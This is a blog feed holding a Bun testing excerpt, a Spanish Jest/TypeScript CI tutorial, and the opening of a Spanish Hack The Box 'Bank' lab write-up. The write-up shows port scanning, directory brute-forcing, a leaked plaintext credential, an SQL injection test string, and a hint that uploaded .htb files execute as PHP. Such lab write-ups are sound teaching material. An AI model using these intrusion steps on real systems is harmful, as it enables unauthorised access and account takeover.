    beforeAll(<span class="hljs-function">() =&gt;</span> {
        sampleApp = <span class="hljs-keyword">new</span> SampleApp();
    });

    it(<span class="hljs-string">"should be an instance of SampleApp"</span>, <span class="hljs-function">() =&gt;</span> {
        expect(sampleApp).toBeInstanceOf(SampleApp);
    });

    it(<span class="hljs-string">"should have a method called 'sampleMethod'"</span>, <span class="hljs-function">() =&gt;</span> {
        expect(sampleApp.sampleMethod).toBeInstanceOf(<span class="hljs-built_in">Function</span>);
        expect(sampleApp.sampleMethod()).toBe(<span class="hljs-string">"Hello World!"</span>);
    });
});
</code></pre>
<p>Yes this second one is running against a deployed database and still is running like if it was mocked, hell so fast haha</p>
<pre><code class="lang-js"><span class="hljs-keyword">import</span> { describe, it, expect, beforeAll, afterAll } <span class="hljs-keyword">from</span> <span class="hljs-string">'bun:test'</span>;
<span class="hljs-keyword">import</span> { LibsqlDialect } <span class="hljs-keyword">from</span> <span class="hljs-string">'@libsql/kysely-libsql'</span>;
<span class="hljs-keyword">import</span> { Kysely } <span class="hljs-keyword">from</span> <span class="hljs-string">'kysely'</span>;

<span class="hljs-keyword">import</span> { db } <span class="hljs-keyword">from</span> <span class="hljs-string">'#db'</span>;
<span class="hljs-keyword">import</span> { config } <span class="hljs-keyword">from</span> <span class="hljs-string">'src/config/config'</span>;
<span class="hljs-keyword">import</span> { createTable, dropTable } <span class="hljs-keyword">from</span> <span class="hljs-string">'./utils/sql'</span>;

describe(<span class="hljs-string">'db file'</span>, <span class="hljs-function">() =&gt;</span> {

    <span class="hljs-comment">/** @type { import("kysely").Kysely&lt;any&gt; } */</span>
    <span class="hljs-keyword">let</span> newDb;

    beforeAll(<span class="hljs-keyword">async</span> () =&gt; {
        newDb = <span class="hljs-keyword">new</span> Kysely({
            <span class="hljs-attr">dialect</span>: <span class="hljs-keyword">new</span> LibsqlDialect({
                <span class="hljs-attr">url</span>: config.db.url,
                <span class="hljs-attr">authToken</span>: config.db.authToken
            })
        });
    });

    it(<span class="hljs-string">'should be an instance of Kysely'</span>, <span class="hljs-function">() =&gt;</span> {
        expect(db).toBeInstanceOf(Kysely);
    });

    it(<span class="hljs-string">'should be an instance of Kysely'</span>, <span class="hljs-function">() =&gt;</span> {
        expect(newDb).toBeInstanceOf(Kysely);
    });

    it(<span class="hljs-string">'should create a table with the name of users'</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">await</span> createTable(newDb, <span class="hljs-string">'sampleUsers'</span>);
        <span class="hljs-keyword">const</span> usersTable = <span class="hljs-keyword">await</span> newDb.selectFrom(<span class="hljs-string">'sampleUsers'</span>).selectAll().execute();
        expect(usersTable).toEqual([]);
    });

    afterAll(<span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">await</span> dropTable(newDb, <span class="hljs-string">'sampleUsers'</span>);
    });

});
</code></pre>
<h3 id="heading-pipelines">Pipelines 🚧</h3>
<p>Bun already made not only a dockerimage but an action in github, which comes handly to generate our documention, do testing and more things!</p>
<p>Here is a complete example</p>
<pre><code class="lang-yml"><span class="hljs-attr">name:</span> <span class="hljs-string">build,</span> <span class="hljs-string">test</span> <span class="hljs-string">and</span> <span class="hljs-string">run</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">workflow_dispatch:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [ <span class="hljs-string">"develop"</span>, <span class="hljs-string">"master"</span> ]
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span> [ <span class="hljs-string">"develop"</span>, <span class="hljs-string">"master"</span> ]

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">build</span> <span class="hljs-string">and</span> <span class="hljs-string">test</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">if:</span> <span class="hljs-string">github.ref</span> <span class="hljs-string">==</span> <span class="hljs-string">'refs/heads/master'</span> <span class="hljs-string">||</span> <span class="hljs-string">github.ref</span> <span class="hljs-string">==</span> <span class="hljs-string">'refs/heads/develop'</span>
    <span class="hljs-attr">steps:</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">oven-sh/setup-bun@v2</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">bun-version:</span> <span class="hljs-string">latest</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">set</span> <span class="hljs-string">environment</span> <span class="hljs-string">variables</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          touch .env
          echo "DISCORD_TOKEN=${{ secrets.DISCORD_TOKEN }}" &gt;&gt; .env
          echo "TURSO_URL=${{ secrets.TURSO_URL }}" &gt;&gt; .env
          echo "TURSO_TOKEN=${{ secrets.TURSO_TOKEN }}" &gt;&gt; .env
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">install</span> <span class="hljs-string">dependencies,</span> <span class="hljs-string">build</span> <span class="hljs-string">and</span> <span class="hljs-string">test</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          bun install
          bun run test
          bun run build:arm
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/upload-artifact@v2</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">executor</span>
          <span class="hljs-attr">path:</span> <span class="hljs-string">lib/executor_arm64</span>
          <span class="hljs-attr">if-no-files-found:</span> <span class="hljs-string">error</span>

  <span class="hljs-attr">run:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">run</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">self-hosted</span>
    <span class="hljs-attr">if:</span> <span class="hljs-string">github.ref</span> <span class="hljs-string">==</span> <span class="hljs-string">'refs/heads/master'</span>
    <span class="hljs-attr">needs:</span> <span class="hljs-string">build</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/download-artifact@v2</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">executor</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">move</span> <span class="hljs-string">to</span> <span class="hljs-string">$HOME/apps</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">mv</span> <span class="hljs-string">executor_arm64</span> <span class="hljs-string">$HOME/apps/executor_arm64</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">run</span> <span class="hljs-string">executor</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          chmod +x $HOME/apps/executor_arm64
          $HOME/apps/executor_arm64 &amp;</span>
</code></pre>
<h3 id="heading-conclusion">Conclusion 🏁</h3>
<p>Bun is awesome and it makes javascript fun outside the browser without shooting yourself in the leg.</p>
]]></content:encoded></item><item><title><![CDATA[Introduccion al testing con nodejs + typescript + jest]]></title><description><![CDATA[En este blog sencillo voy a mostrar parte de la configuracion y como se ven los test cuando usamos node + express, en una aplicacion con typescript y jest.
El repositorio que estoy utilizando es un proyecto random que tengo waifuland
Configuracion 🧰...]]></description><link>https://blog.jonathan.com.ar/introduccion-al-testing-con-nodejs-typescript-jest</link><guid isPermaLink="true">https://blog.jonathan.com.ar/introduccion-al-testing-con-nodejs-typescript-jest</guid><category><![CDATA[Testing]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[Jest]]></category><category><![CDATA[Pipeline]]></category><category><![CDATA[automation]]></category><category><![CDATA[ci-cd]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 13 May 2024 22:25:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715639085005/9f09de37-b275-4136-9ce1-ada01391d138.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En este blog sencillo voy a mostrar parte de la configuracion y como se ven los test cuando usamos node + express, en una aplicacion con typescript y jest.</p>
<p>El repositorio que estoy utilizando es un proyecto random que tengo <a target="_blank" href="https://github.com/jd-apprentice/waifuland-api">waifuland</a></p>
<h2 id="heading-configuracion">Configuracion 🧰</h2>
<p>En caso que llegue a ser JS solamente la configuracion es mas simple.</p>
<pre><code>┣ 📄 .env
┣ 📄 .gitignore
┣ 📄 jest.config.js
┣ 📄 jest.setup.js
┣ 📄 package-lock.json
┣ 📄 package.json
┣ 📄 tsconfig.build.json
┗ 📄 tsconfig.json
</code></pre><p>El testMatch ajustenlo a su necesidad, si no usan TS pueden quitar el transform.</p>
<pre><code class="lang-js"><span class="hljs-comment">// jest.config.js</span>
<span class="hljs-comment">/** <span class="hljs-doctag">@type <span class="hljs-type">{import('ts-jest').JestConfigWithTsJest}</span> </span>*/</span>
<span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">clearMocks</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">coverageProvider</span>: <span class="hljs-string">"v8"</span>,
  <span class="hljs-attr">moduleFileExtensions</span>: [<span class="hljs-string">"js"</span>, <span class="hljs-string">"jsx"</span>, <span class="hljs-string">"ts"</span>, <span class="hljs-string">"tsx"</span>, <span class="hljs-string">"json"</span>, <span class="hljs-string">"node"</span>],
  <span class="hljs-attr">setupFilesAfterEnv</span>: [<span class="hljs-string">"&lt;rootDir&gt;/jest.setup.js"</span>],
  <span class="hljs-attr">roots</span>: [<span class="hljs-string">"&lt;rootDir&gt;/src"</span>],
  <span class="hljs-attr">testMatch</span>: [<span class="hljs-string">"**/__tests__/(unit|integration)/*.[jt]s?(x)"</span>, <span class="hljs-string">"**/?(*.)+(spec|test).[tj]s?(x)"</span>],
  <span class="hljs-attr">transform</span>: {
    <span class="hljs-string">"^.+\\.(ts|tsx)$"</span>: <span class="hljs-string">"ts-jest"</span>,
  },
};
</code></pre>
<pre><code class="lang-js"><span class="hljs-comment">// jest.setup.js</span>
jest.setTimeout(<span class="hljs-number">30000</span>);
</code></pre>
<h3 id="heading-dependencias">Dependencias 🍟</h3>
<p><code>ts-jest</code> No es necesario si solo se usa Javascript.</p>
<pre><code class="lang-json"><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"jest"</span>,
    <span class="hljs-attr">"test:coverage"</span>: <span class="hljs-string">"jest --coverage"</span>
  },
<span class="hljs-string">"devDependencies"</span>: {
    <span class="hljs-attr">"@jest/globals"</span>: <span class="hljs-string">"^29.7.0"</span>,
    <span class="hljs-attr">"@types/jest"</span>: <span class="hljs-string">"^29.5.11"</span>,
    <span class="hljs-attr">"@types/node"</span>: <span class="hljs-string">"^17.0.8"</span>,
    <span class="hljs-attr">"@types/supertest"</span>: <span class="hljs-string">"^6.0.2"</span>,
    <span class="hljs-attr">"jest"</span>: <span class="hljs-string">"^29.7.0"</span>,
    <span class="hljs-attr">"supertest"</span>: <span class="hljs-string">"^6.3.4"</span>,
    <span class="hljs-attr">"ts-jest"</span>: <span class="hljs-string">"^29.1.1"</span>,
    <span class="hljs-attr">"typescript"</span>: <span class="hljs-string">"^5.3.3"</span>
  }
</code></pre>
<h2 id="heading-pipeline">Pipeline 🧪</h2>
<p>Los env no es necesario si no tienen datos sensibles, yo por que tengo el connection string de la base de datos y mis credenciales de rollbar.</p>
<pre><code class="lang-yml"><span class="hljs-attr">name:</span> <span class="hljs-string">CI/CD</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">workflow_dispatch:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">development</span>
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'src/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'Dockerfile'</span>
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">development</span>
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'src/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'Dockerfile'</span>

<span class="hljs-attr">env:</span>
  <span class="hljs-attr">BRANCH_NAME:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.ref_name</span> <span class="hljs-string">}}</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">gitleaks:</span>
    <span class="hljs-attr">uses:</span> <span class="hljs-string">jd-apprentice/jd-workflows/.github/workflows/gitleaks.yml@main</span>
    <span class="hljs-attr">with:</span>
      <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Gitleaks</span>
    <span class="hljs-attr">secrets:</span>
      <span class="hljs-attr">gh_token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>

  <span class="hljs-attr">test:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-22.04</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v4</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">node-version:</span> <span class="hljs-string">'18'</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">install</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Run</span> <span class="hljs-string">tests</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          touch .env
          echo DB_HOST="${{ secrets.DB_HOST }}" &gt;&gt; .env
          echo PORT=3000 &gt;&gt; .env
          echo NODE_ENV=TEST &gt;&gt; .env
          echo ROLLBAR_TOKEN="${{ secrets.ROLLBAR_TOKEN }}" &gt;&gt; .env
          echo ROLLBAR_ENVIRONMENT=development &gt;&gt; .env
          npm run test
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">ArtiomTr/jest-coverage-report-action@v2.3.0</span>
</code></pre>
<h2 id="heading-tipos-de-test">Tipos de TEST 🧪</h2>
<p>Aca les voy a dejar ejemplos de test UNITARIOS y de INTEGRACION, la idea de los unitarios es mockear o simular los diferentes metodos, funciones y demas. Sin probar la integracion completa, se suelen harcodear datos tanto de input como output si es necesario.</p>
<h3 id="heading-ejemplo-de-unitario">Ejemplo de Unitario 📰</h3>
<pre><code>🌳 unit/
┣ 📁 mocks/
┃ ┗ 📄 image.ts
┗ 📄 images.test.ts
</code></pre><p>El mock este es un ejemplo de una de mis apps</p>
<pre><code class="lang-ts"><span class="hljs-comment">// mocks/image.ts</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> image = {
    id: expect.any(<span class="hljs-built_in">String</span>),
    url: expect.any(<span class="hljs-built_in">String</span>),
    is_nsfw: expect.any(<span class="hljs-built_in">Boolean</span>),
    tag: {
        name: expect.any(<span class="hljs-built_in">String</span>),
        tag_id: expect.any(<span class="hljs-built_in">Number</span>),
        description: expect.any(<span class="hljs-built_in">String</span>),
        is_nsfw: expect.any(<span class="hljs-built_in">Boolean</span>),
        createdAt: expect.any(<span class="hljs-built_in">String</span>),
        updatedAt: expect.any(<span class="hljs-built_in">String</span>),
        is_active: expect.any(<span class="hljs-built_in">Boolean</span>)
    }
};

<span class="hljs-keyword">const</span> defaultSize = <span class="hljs-number">1</span>;
<span class="hljs-keyword">const</span> defaultId = <span class="hljs-string">'1'</span>;
<span class="hljs-keyword">const</span> defaultUrl = <span class="hljs-string">'https://www.example.com/image.jpg'</span>;
<span class="hljs-keyword">const</span> defaultNsfw = <span class="hljs-literal">false</span>;
<span class="hljs-keyword">const</span> defaultTag = {
    name: <span class="hljs-string">'tag'</span>,
    tag_id: <span class="hljs-number">1</span>,
    description: <span class="hljs-string">'description'</span>,
    is_nsfw: <span class="hljs-literal">false</span>,
    createdAt: <span class="hljs-string">'2021-01-01'</span>,
    updatedAt: <span class="hljs-string">'2021-01-01'</span>,
    is_active: <span class="hljs-literal">true</span>
};

<span class="hljs-keyword">const</span> defaultImage = {
    id: defaultId,
    url: defaultUrl,
    is_nsfw: defaultNsfw,
    tag: defaultTag
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> getImageMock = jest.fn(<span class="hljs-function">(<span class="hljs-params">args = {
    size: defaultSize,
    tag_id: defaultTag.tag_id
}</span>) =&gt;</span> {

    <span class="hljs-keyword">let</span> response = <span class="hljs-built_in">Array</span>.from({ length: args.size }, <span class="hljs-function">() =&gt;</span> defaultImage);

    <span class="hljs-keyword">if</span> (args.tag_id) {
        response = response.map(<span class="hljs-function">(<span class="hljs-params">image</span>) =&gt;</span> {
            <span class="hljs-keyword">return</span> {
                ...image,
                tag: {
                    ...image.tag,
                    tag_id: args.tag_id,
                    name: expect.any(<span class="hljs-built_in">String</span>),
                    description: expect.any(<span class="hljs-built_in">String</span>)
                }
            };
        });
    };

    <span class="hljs-keyword">return</span> args.size === <span class="hljs-number">1</span> ? response[<span class="hljs-number">0</span>] : response;
});
</code></pre>
<pre><code class="lang-ts"><span class="hljs-comment">// image.test.ts</span>
<span class="hljs-keyword">import</span> { ImageProp } <span class="hljs-keyword">from</span> <span class="hljs-string">"../../interfaces/image-interface"</span>;
<span class="hljs-keyword">import</span> { getImageMock, image } <span class="hljs-keyword">from</span> <span class="hljs-string">"./mocks/image"</span>;

describe(<span class="hljs-string">"UNIT - Images Module"</span>, <span class="hljs-function">() =&gt;</span> {

    beforeAll(<span class="hljs-keyword">async</span> () =&gt; {
        jest.resetModules();
    });

    test(<span class="hljs-string">'GET /api/images - when asking for an image should return a random one'</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">const</span> response = getImageMock({ size: <span class="hljs-number">1</span> });
        expect(getImageMock).toHaveBeenCalledTimes(<span class="hljs-number">1</span>);
        expect(response).toMatchObject(image);
    });

    test(<span class="hljs-string">'GET /api/images?size=2 - when asking for 2 images should return an array of 2 images'</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">const</span> response = getImageMock({ size: <span class="hljs-number">2</span> });
        expect(getImageMock).toHaveBeenCalledTimes(<span class="hljs-number">1</span>);
        expect(response).toEqual([image, image]);
    });

    test(<span class="hljs-string">'GET /api/images?size=1&amp;tag_id=2 - when asking for a tag_id should return that one'</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">const</span> response = getImageMock({ size: <span class="hljs-number">1</span>, tag_id: <span class="hljs-number">2</span> }) <span class="hljs-keyword">as</span> ImageProp;
        expect(getImageMock).toHaveBeenCalledTimes(<span class="hljs-number">1</span>);
        expect(response.tag.tag_id).toBe(<span class="hljs-number">2</span>);
    });

    test(<span class="hljs-string">"GET /api/images/all - when asking for all images should return an array of images"</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">const</span> response = getImageMock({ size: <span class="hljs-number">4</span> }) <span class="hljs-keyword">as</span> ImageProp[];
        expect(getImageMock).toHaveBeenCalledTimes(<span class="hljs-number">1</span>);
        expect(response.length).toBe(<span class="hljs-number">4</span>);
    });

});
</code></pre>
<h3 id="heading-ejemplo-de-integracion">Ejemplo de Integracion 📰</h3>
<p>Los test de INTEGRACION son los que prueban algo entero, ej un controlador, como usamos supertest para esto lo que hacemos es hacer llamados HTTP, levantando la app por eso cargo la DB, de ahi le voy haciendo request reales, asi que no hagan esto en PROD, solamente en entornos bajos.</p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { loadDatabase } <span class="hljs-keyword">from</span> <span class="hljs-string">"../../../app/db"</span>;
<span class="hljs-keyword">import</span> Config <span class="hljs-keyword">from</span> <span class="hljs-string">"../../../app/config/config"</span>;
<span class="hljs-keyword">import</span> { app } <span class="hljs-keyword">from</span> <span class="hljs-string">"../../../app/main"</span>;

<span class="hljs-keyword">import</span> request <span class="hljs-keyword">from</span> <span class="hljs-string">'supertest'</span>;
<span class="hljs-keyword">import</span> { Response } <span class="hljs-keyword">from</span> <span class="hljs-string">'supertest'</span>;
<span class="hljs-keyword">import</span> { Server } <span class="hljs-keyword">from</span> <span class="hljs-string">'http'</span>;

<span class="hljs-keyword">const</span> baseRoute = <span class="hljs-string">'/api/images'</span>;
<span class="hljs-keyword">const</span> contentTypeKey = <span class="hljs-string">'Content-Type'</span>;
<span class="hljs-keyword">const</span> contentTypeValue = <span class="hljs-regexp">/json/</span>;
<span class="hljs-keyword">const</span> httpSuccess = <span class="hljs-number">200</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> image = {
    id: expect.any(<span class="hljs-built_in">String</span>),
    url: expect.any(<span class="hljs-built_in">String</span>),
    is_nsfw: expect.any(<span class="hljs-built_in">Boolean</span>),
    tag: {
        name: expect.any(<span class="hljs-built_in">String</span>),
        tag_id: expect.any(<span class="hljs-built_in">Number</span>),
        description: expect.any(<span class="hljs-built_in">String</span>),
        is_nsfw: expect.any(<span class="hljs-built_in">Boolean</span>),
        createdAt: expect.any(<span class="hljs-built_in">String</span>),
        updatedAt: expect.any(<span class="hljs-built_in">String</span>),
        is_active: expect.any(<span class="hljs-built_in">Boolean</span>)
    }
}

describe(<span class="hljs-string">"INTEGRATION - Images Module"</span>, <span class="hljs-function">() =&gt;</span> {

    <span class="hljs-keyword">let</span> server: Server;

    beforeAll(<span class="hljs-keyword">async</span> () =&gt; {
        jest.resetModules();
    });

    beforeEach(<span class="hljs-keyword">async</span> () =&gt; {
        server = app.listen(Config.app.port);
        <span class="hljs-keyword">await</span> loadDatabase(Config.db.uri);
    })

    test(<span class="hljs-string">'GET /api/images - when asking for an image should return a random one'</span>, <span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">await</span> request(app)
            .get(baseRoute)
            .expect(contentTypeKey, contentTypeValue)
            .expect(httpSuccess)
            .then(<span class="hljs-function">(<span class="hljs-params">response</span>) =&gt;</span> expectImage(response));
    });
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">expectImage</span>(<span class="hljs-params">response: Response</span>) </span>{
    expect(response.body).toBeTruthy();
    expect(response.body).toMatchObject(image);
}
</code></pre>
<h2 id="heading-resultados">Resultados 🏁</h2>
<p>Esta es mi pipeline que incluye gitleaks, jest, codacy y dockerhub</p>
<p><img src="https://github.com/jd-apprentice/blog-assets/blob/main/testing/1.png?raw=true" alt="ci/cd" /></p>
<p>La extension para coverage, en caso que quieran despues hacerlo bloqueante</p>
<p><img src="https://github.com/jd-apprentice/blog-assets/blob/main/testing/2.png?raw=true" alt="coverage" /></p>
<p>Demostracion de como corren los TEST</p>
<p><img src="https://github.com/jd-apprentice/blog-assets/blob/main/testing/3.png?raw=true" alt="pipeline" /></p>
]]></content:encoded></item><item><title><![CDATA[Bank Writeup [ES] - Hack The Box]]></title><description><![CDATA[Descripcion 📕
Hoy vamos a hacer la maquina Bank la cual es una maquina retirada, dificultad EASY.
Requerimientos para la maquina:

nmap
nslookup
dig
feroxbuster
wordlist

Links utiles 🔗

https://garethkerr.substack.com/p/linux-privilege-escalation-...]]></description><link>https://blog.jonathan.com.ar/bank-writeup-es-hack-the-box</link><guid isPermaLink="true">https://blog.jonathan.com.ar/bank-writeup-es-hack-the-box</guid><category><![CDATA[htb]]></category><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 25 Mar 2024 00:22:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1711320862622/87203ce0-96f5-4d92-8b1d-c6ebe6db9d30.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-descripcion">Descripcion 📕</h2>
<p>Hoy vamos a hacer la maquina <code>Bank</code> la cual es una maquina retirada, dificultad EASY.</p>
<p>Requerimientos para la maquina:</p>
<ul>
<li>nmap</li>
<li>nslookup</li>
<li>dig</li>
<li>feroxbuster</li>
<li>wordlist</li>
</ul>
<h2 id="heading-links-utiles">Links utiles 🔗</h2>
<ul>
<li>https://garethkerr.substack.com/p/linux-privilege-escalation-exploiting-d1d</li>
<li>https://github.com/epi052/feroxbuster</li>
<li>https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt</li>
<li>https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS</li>
</ul>
<h2 id="heading-user-flag">User Flag 🧑</h2>
<p>Arrancamos por scanear puertos como se suele hacer siempre </p>
<pre><code class="lang-bash">nmap -T4 --min-rate 5000 -sV -A -o bank 10.10.10.29
Nmap scan report <span class="hljs-keyword">for</span> 10.10.10.29 (10.10.10.29)
Host is up (0.17s latency).
Not shown: 990 closed ports
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp    open     domain      ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp    open     http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
407/tcp   filtered timbuktu
541/tcp   filtered uucp-rlogin
1521/tcp  filtered oracle
5907/tcp  filtered unknown
8701/tcp  filtered unknown
8994/tcp  filtered unknown
24444/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</code></pre>
<p>Viendo que el puerto 53 esta abierto sabemos que hay un dns, al ser bank la maquina podemos suponer que existe el dominio <code>bank.htb</code> el cual es normal en muchas maquinas de htb llamarse como la maquina + .htb, agreguemos esto al <code>/etc/hosts</code> y probemos</p>
<pre><code class="lang-bash">cat /etc/hosts             
127.0.0.1       localhost
10.10.10.29     bank.htb
</code></pre>
<p>Una vez eso entramos a <code>bank.htb</code> y ahora veremos un portal con un login</p>
<p><img src="https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/1.png" alt="img" /></p>
<p>Podemos probar cosas basicas como SQL Injection haciendo un <code>'OR 1=1--</code> pero no conseguimos nada, asi que lo primero que vamos a hacer es intentar encontrar paginas ocultas, para eso vamos a usar <code>feroxbuster</code></p>
<pre><code class="lang-bash">feroxbuster --insecure -u http://bank.htb -m GET -w ~/Documents/Security/wordlists/directory_list_lowercase_2.3_medium.txt --threads 200 -C 401
</code></pre>
<p>De esta forma obtenemos muchisimas paginas, pero la que nos interesa es <code>balance-transter</code> en esta vamos a encontrar un monton de cuentas con extension <code>.acc</code> lo cual si vemos son demasiadas, pero como estamos en un indexador de archivos vamos a ordenar por lo que vamos viendo.</p>
<p>Por el campo <code>Last modified</code> no se ve nada diferente, por <code>Size</code> hay una que pesa 257 lo cual es muy difenrete a la mayoria y se ve que esta es la que nos interesa por que fallo la encryptacion y tiene los datos del usuario</p>
<pre><code><span class="hljs-number">68576</span>f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
<span class="hljs-attr">Email</span>: chris@bank.htb
<span class="hljs-attr">Password</span>: !##HTBB4nkP4ssw0rd!##
<span class="hljs-attr">CreditCards</span>: <span class="hljs-number">5</span>
<span class="hljs-attr">Transactions</span>: <span class="hljs-number">39</span>
<span class="hljs-attr">Balance</span>: <span class="hljs-number">8842803</span> .
===UserAccount===
</code></pre><p>Con esto vamos a volver a la pagina del login e intentar logearnos con estas credenciales.</p>
<p>Nos pudimos logear!</p>
<p><img src="https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/2.png" alt="img" /></p>
<p>Mirando rapidamente en la pagina dashboard no hay nada interesante, pero en la pagina <code>Support</code> vemos un formulario, veamos como funciona el mismo.</p>
<p>Por lo visto solo podemos subir imagenes</p>
<p><img src="https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/3.png" alt="img" /></p>
<p>Veamos el source code para ver como funciona esta pagina, viendo el codigo fuente podemos ver un comentario el cual nos falicita mucho las cosas</p>
<pre><code class="lang-html">                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"position:relative;"</span>&gt;</span>
                        <span class="hljs-comment">&lt;!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] --&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">'btn btn-primary'</span> <span class="hljs-attr">href</span>=<span class="hljs-string">'javascript:;'</span>&gt;</span>
                            Choose File...
